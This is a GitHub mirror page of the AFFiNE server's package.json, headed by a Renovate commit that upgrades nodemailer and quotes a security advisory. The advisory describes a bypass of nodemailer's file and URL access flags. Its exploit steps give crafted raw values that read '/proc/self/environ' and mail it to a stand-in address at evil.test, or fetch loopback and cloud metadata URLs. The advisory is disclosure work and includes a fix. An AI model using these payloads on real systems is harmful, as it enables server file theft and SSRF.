mirror of
https://github.com/toeverything/AFFiNE.git
synced 2026-07-02 02:00:49 +08:00
7ea8800c99
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [nodemailer](https://nodemailer.com/) ([source](https://redirect.github.com/nodemailer/nodemailer)) | [`^8.0.11` → `^9.0.0`](https://renovatebot.com/diffs/npm/nodemailer/8.0.11/9.0.1) |  |  | --- ### Nodemailer: Message-level raw option bypasses disableFileAccess/disableUrlAccess, enabling arbitrary file read and full-response SSRF in the delivered message [GHSA-p6gq-j5cr-w38f](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f) <details> <summary>More information</summary> #### Details ##### Message-level `raw` option bypasses `disableFileAccess` / `disableUrlAccess`, enabling arbitrary file read and full-response SSRF in the sent message - **Target:** nodemailer/nodemailer, npm `nodemailer` **v9.0.0** (HEAD `4e58450eb490e5097a74b2b2cce35a8d9e21856e`) - **Verdict:** CONFIRMED (local PoC, no network) ##### Summary Nodemailer exposes `disableFileAccess` and `disableUrlAccess` so an application that passes **untrusted** message data to the library can forbid that data from reading local files or fetching URLs. Every attachment, alternative, `html`/`text`/`watchHtml`/`amp` and `icalEvent` content node honors these flags. **The message-level `raw` option does not.** `MailComposer.compile()` builds the root MIME node for a `raw` message **without** threading the two flags, so a `raw: { path: '/etc/passwd' }` or `raw: { href: 'http://169.254.169.254/…' }` message is read / fetched anyway, and the file or HTTP-response bytes become the **actual message that is sent** by every transport (SMTP, SES, sendmail, stream, JSON). An actor whose input the application intended to sandbox therefore obtains arbitrary local-file disclosure and a full-response SSRF primitive, delivered to a recipient the same actor can choose. This is the same vulnerability class as the already-published jsonTransport advisory **GHSA-wqvq-jvpq-h66f**, but a **distinct code path** (`raw` root node, not `normalize()`), and strictly higher impact: the jsonTransport bug only affected the locally-returned JSON, whereas this affects the delivered RFC822 message for all transports. ##### Affected component - `lib/mail-composer/index.js:34-35` — root cause: ```js if (this.mail.raw) { this.message = new MimeNode('message/rfc822', { newline: this.mail.newline }).setRaw(this.mail.raw); } ``` The `MimeNode` is constructed with only `{ newline }`. Compare the sibling node builders `_createMixed`/`_createAlternative`/`_createRelated`/`_createContentNode` (`lib/mail-composer/index.js:389-527`), which all pass `disableUrlAccess: this.mail.disableUrlAccess, disableFileAccess: this.mail.disableFileAccess`. - `lib/mime-node/index.js:51-52` — the constructor derives `this.disableFileAccess`/ `this.disableUrlAccess` solely from its own `options`; children do **not** inherit a parent's flags (`createChild`/`appendChild`, lines 175-194, pass options through verbatim). - `lib/mime-node/index.js:812` — `setRaw()` content is resolved through `this._getStream(this._raw)`. - `lib/mime-node/index.js:984-1010` — `_getStream` reads the file (`fs.createReadStream`, 995) or fetches the URL (`nmfetch`, 1009) **only guarded by `this.disableFileAccess`/`this.disableUrlAccess`**, which on the `raw` root node are `false`. - Reached from the normal send flow at `lib/mailer/index.js:188` (`mail.message = new MailComposer(mail.data).compile()`), so every transport is affected. ##### Reachability gate (hop-by-hop) 1. **Source.** Application calls `transporter.sendMail({ raw: <userControlled> , to: <userControlled> })` with `disableFileAccess: true` and/or `disableUrlAccess: true` configured on the transporter (forced onto `mail.data` in `lib/mailer/mail-message.js:36-40`) or per message. This is the exact scenario the flags exist for — the same precondition under which GHSA-wqvq-jvpq-h66f was accepted. 2. **Guard — the access flags.** For attachments the flag is enforced: a node created by `_createContentNode` carries `disableFileAccess`, so `_getStream` throws `EFILEACCESS`. **Bypass:** the `raw` branch (`compile():34-35`) never sets the flag on its node, so `this.disableFileAccess === false` and the guard at `mime-node:985` / `:999` is skipped. There is no other validation between `mail.raw` and the read; `raw` content shapes (`{path}`, `{href}`, stream, string, buffer) are accepted as-is by `setRaw`/`_getStream`. 3. **Sink.** `fs.createReadStream(content.path)` (file disclosure) or `nmfetch(content.href, …)` (SSRF). The resulting bytes are emitted as the message body by `createReadStream()`, which every transport pipes to its destination (`smtp-transport:233`, `smtp-pool/pool-resource:208`, `ses-transport:96`, `sendmail-transport:184`, `stream-transport:67`). No guard blocks the chain; the only guard (the access flags) is structurally absent on this node. ##### Root cause Inconsistent enforcement: the access policy is applied per-`MimeNode` via constructor options and must be re-passed at every node creation. The `raw`-message shortcut in `compile()` omits it, while all five other node builders include it. The flags are therefore enforced for every content type *except* the one that lets the caller supply a complete message body by path/URL. ##### Exploit path Application that sandboxes untrusted mail input (`disableFileAccess`/`disableUrlAccess` set): 1. Untrusted actor supplies `raw: { path: '/proc/self/environ' }` (or any server file: `/app/.env`, key material, etc.) and `to: attacker@evil.test`. 2. `compile()` builds the raw root node without the flags; the transport reads the file and sends its contents as the message → **arbitrary server-file exfiltration to an attacker-chosen mailbox.** 3. Alternatively `raw: { href: 'http://127.0.0.1:8080/admin' }` or a cloud metadata URL → Nodemailer fetches it server-side and delivers the full response body in the email → **full-response SSRF** (no blind-channel limitation). ##### Impact - **Confidentiality (High):** arbitrary local file read disclosed in the outgoing message; full-response SSRF to internal/metadata endpoints, also disclosed in the message. - **Integrity (Low):** attacker-fetched/file content is injected into the delivered mail. - The two protective flags an application relies on to contain untrusted input are silently ineffective for `raw`. ##### Preconditions The application (a) passes `disableFileAccess` and/or `disableUrlAccess` (the documented sandboxing flags) and (b) lets untrusted input influence the `raw` field (and, for maximal disclosure, `to`). No other configuration is required; all bundled transports are affected. This mirrors the accepted precondition of GHSA-wqvq-jvpq-h66f. ##### Severity - **AV** — message data routinely originates over the network in the apps these flags protect. - **AC** — a single crafted `raw` object; deterministic. - **PR** — the actor is a user whose input the app already treats as untrusted (the reason the flags are set); not fully anonymous in the typical deployment. - **UI** — no victim interaction. - **S** — impact within Nodemailer's process scope. - **C** — arbitrary file read **and** full-response SSRF, both delivered to an attacker-chosen recipient. (The sibling jsonTransport advisory used C:L because its leak stayed in locally-returned JSON; here the bytes leave the system in the sent message, so C:H is warranted.) - **I** — attacker injects fetched/file bytes into the outgoing message. - **A**. Note: if a deployment fixes the recipient (`to` not attacker-controlled) the disclosure channel narrows and the rating degrades toward the sibling's Medium; the High rating reflects the reasonable worst case where `raw` and `to` are both untrusted. ##### Adversarial re-read (attempts to refute) 1. **"`raw` content is by-design trusted, so the flags shouldn't apply."** Rejected: every other content path (attachments, alternatives, html/text, icalEvent) honors the flags, and the maintainer already accepted GHSA-wqvq-jvpq-h66f for exactly this "untrusted input + flag set" model. The asymmetry — attachment `{path}` is blocked but `raw:{path}` is not — is the bug, and the PoC's CONTROL case proves the flag is otherwise effective on the same file. 2. **"The raw node inherits the flags via rootNode."** Rejected by code and by PoC: `compile():35` constructs the node with `{ newline }` only; `MimeNode` constructor sets `this.disableFileAccess = !!options.disableFileAccess` → `false`; `rootNode` is itself; no inheritance exists. 3. **"The PoC leaks for an unrelated reason."** Rejected: the CONTROL message (`attachments:[{path}]`, same file, same transporter) returns `EFILEACCESS`; only the `raw:{path}` message leaks. The sentinel nonce exists solely in the temp file; the URL nonce is generated server-side and is only obtainable by an actual fetch. Both observables are uniquely bound to the bypass. 4. **"Maybe only jsonTransport (already reported) is affected."** Rejected: the PoC uses `streamTransport` and the root cause is in `MailComposer.compile()` (`mailer:188`), shared by all transports; jsonTransport is a different (already-fixed) path. I could not find any guard that blocks the chain; the finding survives. ##### Proof of concept (safe, benign) `findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` — local, no network egress (loopback only), no destructive action. Output: ``` [CONTROL] attachment path with disableFileAccess: BLOCKED (EFILEACCESS) — flag works here [ATTACK] raw:{path} with disableFileAccess=true: BYPASSED — sentinel file CONTENT present in message [ATTACK] raw:{href} with disableUrlAccess=true (loopback server): BYPASSED — fetched body present (SSRF) VERDICT: CONFIRMED ``` Run: `node findings/nodemailer/raw/poc-raw-fileaccess-bypass.js` (exit 0 = confirmed). ##### Remediation Thread the access policy onto the `raw` root node, exactly as the other builders do: ```js if (this.mail.raw) { this.message = new MimeNode('message/rfc822', { newline: this.mail.newline, disableFileAccess: this.mail.disableFileAccess, disableUrlAccess: this.mail.disableUrlAccess }).setRaw(this.mail.raw); } ``` (Defense in depth: `setRaw`/`_getStream` could also refuse `{path}`/`{href}` raw content when either flag is set, regardless of how the node was constructed.) Add a regression test asserting that `raw:{path}` and `raw:{href}` reject with `EFILEACCESS`/`EURLACCESS` when the flags are set, mirroring the attachment tests. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-p6gq-j5cr-w38f) - [https://github.com/advisories/GHSA-p6gq-j5cr-w38f](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-p6gq-j5cr-w38f) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>nodemailer/nodemailer (nodemailer)</summary> ### [`v9.0.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#901-2026-06-17) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v9.0.0...v9.0.1) ##### Bug Fixes - enforce disableFileAccess/disableUrlAccess for raw message option ([a82e060](https://redirect.github.com/nodemailer/nodemailer/commit/a82e060d978f27e5f41369a9a9807b1e3dedc2e2)) ### [`v9.0.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#900-2026-06-14) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v8.0.11...v9.0.0) ##### ⚠ BREAKING CHANGES - HTTPS requests made while fetching remote content (attachment href/path URLs, OAuth2 token endpoints, HTTP/HTTPS proxy CONNECT) now validate the server's TLS certificate by default. Requests to hosts with self-signed, expired, or hostname-mismatched certificates that previously succeeded will now fail. Opt back out per request with tls.rejectUnauthorized=false (transport options, or a per-attachment `tls` option). ##### Bug Fixes - replace deprecated url.parse with a WHATWG URL wrapper ([0c080fb](https://redirect.github.com/nodemailer/nodemailer/commit/0c080fbf3278926f013a5c2ad06f5f6f0e18f5ed)) - validate TLS certificates by default when fetching remote content ([6a947ac](https://redirect.github.com/nodemailer/nodemailer/commit/6a947ac7114a16da1e6a50d9a6f4e17026ce145d)) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yMzEuMSIsInVwZGF0ZWRJblZlciI6IjQzLjIzMS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
178 lines
5.8 KiB
JSON
178 lines
5.8 KiB
JSON
{
|
|
"name": "@affine/server",
|
|
"private": true,
|
|
"version": "0.26.3",
|
|
"description": "Affine Node.js server",
|
|
"type": "module",
|
|
"scripts": {
|
|
"build": "affine bundle -p @affine/server",
|
|
"dev": "nodemon ./src/index.ts",
|
|
"dev:mail": "email dev -d src/mails",
|
|
"test": "ava --concurrency 1 --serial",
|
|
"test:copilot": "ava \"src/__tests__/copilot/copilot-*.spec.ts\"",
|
|
"test:coverage": "c8 ava --concurrency 1 --serial",
|
|
"test:copilot:coverage": "c8 ava --timeout=5m \"src/__tests__/copilot/copilot-*.spec.ts\"",
|
|
"e2e": "cross-env TEST_MODE=e2e ava --serial",
|
|
"e2e:coverage": "cross-env TEST_MODE=e2e c8 ava --serial",
|
|
"data-migration": "cross-env NODE_ENV=development SERVER_FLAVOR=script r ./src/index.ts",
|
|
"init": "yarn prisma migrate dev && yarn data-migration run",
|
|
"seed": "r ./src/seed/index.ts",
|
|
"genconfig": "r ./scripts/genconfig.ts",
|
|
"cli": "cross-env SERVER_FLAVOR=script node ./dist/main.js",
|
|
"predeploy": "yarn prisma migrate deploy && yarn cli run",
|
|
"postinstall": "prisma generate"
|
|
},
|
|
"dependencies": {
|
|
"@affine/s3-compat": "workspace:*",
|
|
"@affine/server-native": "workspace:*",
|
|
"@apollo/server": "^5.5.1",
|
|
"@as-integrations/express5": "^1.1.2",
|
|
"@google-cloud/opentelemetry-cloud-trace-exporter": "^3.0.0",
|
|
"@google-cloud/opentelemetry-resource-util": "^3.0.0",
|
|
"@inquirer/prompts": "^8.0.0",
|
|
"@nestjs-cls/transactional": "^3.2.0",
|
|
"@nestjs-cls/transactional-adapter-prisma": "^1.3.4",
|
|
"@nestjs/apollo": "^13.2.4",
|
|
"@nestjs/bullmq": "^11.0.4",
|
|
"@nestjs/common": "^11.1.18",
|
|
"@nestjs/core": "^11.1.18",
|
|
"@nestjs/graphql": "^13.2.5",
|
|
"@nestjs/platform-express": "^11.1.18",
|
|
"@nestjs/platform-socket.io": "^11.1.18",
|
|
"@nestjs/schedule": "^6.1.1",
|
|
"@nestjs/throttler": "^6.5.0",
|
|
"@nestjs/websockets": "^11.1.18",
|
|
"@node-rs/argon2": "^2.0.2",
|
|
"@node-rs/crc32": "^1.10.6",
|
|
"@opentelemetry/api": "^1.9.0",
|
|
"@opentelemetry/core": "^2.8.0",
|
|
"@opentelemetry/exporter-prometheus": "^0.219.0",
|
|
"@opentelemetry/exporter-zipkin": "^2.8.0",
|
|
"@opentelemetry/host-metrics": "^0.39.0",
|
|
"@opentelemetry/instrumentation": "^0.219.0",
|
|
"@opentelemetry/instrumentation-graphql": "^0.67.0",
|
|
"@opentelemetry/instrumentation-http": "^0.219.0",
|
|
"@opentelemetry/instrumentation-ioredis": "^0.67.0",
|
|
"@opentelemetry/instrumentation-nestjs-core": "^0.65.0",
|
|
"@opentelemetry/instrumentation-socket.io": "^0.66.0",
|
|
"@opentelemetry/resources": "^2.8.0",
|
|
"@opentelemetry/sdk-metrics": "^2.8.0",
|
|
"@opentelemetry/sdk-node": "^0.219.0",
|
|
"@opentelemetry/sdk-trace-base": "^2.8.0",
|
|
"@opentelemetry/sdk-trace-node": "^2.8.0",
|
|
"@opentelemetry/semantic-conventions": "^1.41.1",
|
|
"@prisma/client": "^6.6.0",
|
|
"@prisma/instrumentation": "^6.7.0",
|
|
"@queuedash/api": "^3.16.0",
|
|
"@react-email/components": "^0.5.7",
|
|
"@socket.io/redis-adapter": "^8.3.0",
|
|
"bullmq": "^5.79.0",
|
|
"commander": "^13.1.0",
|
|
"cookie-parser": "^1.4.7",
|
|
"cross-env": "^10.1.0",
|
|
"date-fns": "^4.0.0",
|
|
"dotenv": "^16.4.7",
|
|
"eventemitter2": "^6.4.9",
|
|
"exa-js": "^2.4.0",
|
|
"express": "^5.0.1",
|
|
"fast-xml-parser": "^5.8.0",
|
|
"get-stream": "^9.0.1",
|
|
"google-auth-library": "^10.2.0",
|
|
"graphql": "^16.13.2",
|
|
"graphql-scalars": "^1.24.0",
|
|
"graphql-upload": "^17.0.0",
|
|
"html-validate": "^9.0.0",
|
|
"htmlrewriter": "^0.0.12",
|
|
"http-errors": "^2.0.0",
|
|
"ioredis": "^5.11.1",
|
|
"is-mobile": "^5.0.0",
|
|
"jose": "^6.1.3",
|
|
"jsonwebtoken": "^9.0.3",
|
|
"lodash-es": "^4.17.23",
|
|
"mustache": "^4.2.0",
|
|
"nanoid": "^5.1.6",
|
|
"nest-winston": "^1.9.7",
|
|
"nestjs-cls": "^6.0.0",
|
|
"nodemailer": "^9.0.0",
|
|
"on-headers": "^1.1.0",
|
|
"piscina": "^5.1.4",
|
|
"prisma": "^6.6.0",
|
|
"react": "^19.2.1",
|
|
"react-dom": "19.2.1",
|
|
"reflect-metadata": "^0.2.2",
|
|
"rxjs": "^7.8.2",
|
|
"semver": "^7.7.4",
|
|
"ses": "^1.15.0",
|
|
"socket.io": "^4.8.3",
|
|
"stripe": "^17.7.0",
|
|
"tldts": "^7.0.19",
|
|
"winston": "^3.17.0",
|
|
"yjs": "^13.6.27",
|
|
"zod": "^3.25.76",
|
|
"zod-to-json-schema": "^3.20.0"
|
|
},
|
|
"devDependencies": {
|
|
"@affine-tools/cli": "workspace:*",
|
|
"@affine-tools/utils": "workspace:*",
|
|
"@affine/graphql": "workspace:*",
|
|
"@affine/realtime": "workspace:*",
|
|
"@faker-js/faker": "^10.1.0",
|
|
"@nestjs/swagger": "^11.2.7",
|
|
"@nestjs/testing": "patch:@nestjs/testing@npm%3A11.1.18#~/.yarn/patches/@nestjs-testing-npm-11.1.18-32c0f6af12.patch",
|
|
"@types/cookie-parser": "^1.4.8",
|
|
"@types/express": "^5.0.1",
|
|
"@types/express-serve-static-core": "^5.0.6",
|
|
"@types/graphql-upload": "^17.0.0",
|
|
"@types/http-errors": "^2.0.4",
|
|
"@types/jsonwebtoken": "^9.0.9",
|
|
"@types/lodash-es": "^4.17.12",
|
|
"@types/mustache": "^4.2.5",
|
|
"@types/node": "^22.0.0",
|
|
"@types/nodemailer": "^8.0.0",
|
|
"@types/on-headers": "^1.0.3",
|
|
"@types/react": "^19.0.1",
|
|
"@types/semver": "^7.7.1",
|
|
"@types/sinon": "^21.0.0",
|
|
"@types/supertest": "^7.0.0",
|
|
"ava": "^7.0.0",
|
|
"c8": "^10.1.3",
|
|
"nodemon": "^3.1.14",
|
|
"react-email": "^4.3.2",
|
|
"sinon": "^21.0.1",
|
|
"socket.io-client": "^4.8.3",
|
|
"supertest": "^7.1.4",
|
|
"typescript": "^5.9.3",
|
|
"why-is-node-running": "^3.2.2"
|
|
},
|
|
"nodemonConfig": {
|
|
"exec": "node",
|
|
"ignore": [
|
|
"**/__tests__/**",
|
|
"**/dist/**",
|
|
"*.gen.*"
|
|
],
|
|
"env": {
|
|
"NODE_ENV": "development",
|
|
"AFFINE_ENV": "dev",
|
|
"AFFINE_SERVER_EXTERNAL_URL": "http://localhost:8080",
|
|
"DEBUG": "affine:*",
|
|
"FORCE_COLOR": true,
|
|
"DEBUG_COLORS": true
|
|
},
|
|
"delay": 1000
|
|
},
|
|
"c8": {
|
|
"reporter": [
|
|
"text-summary",
|
|
"lcov"
|
|
],
|
|
"report-dir": ".coverage",
|
|
"exclude": [
|
|
"scripts",
|
|
"node_modules",
|
|
"**/*.spec.ts",
|
|
"**/*.e2e.ts"
|
|
]
|
|
}
|
|
}
|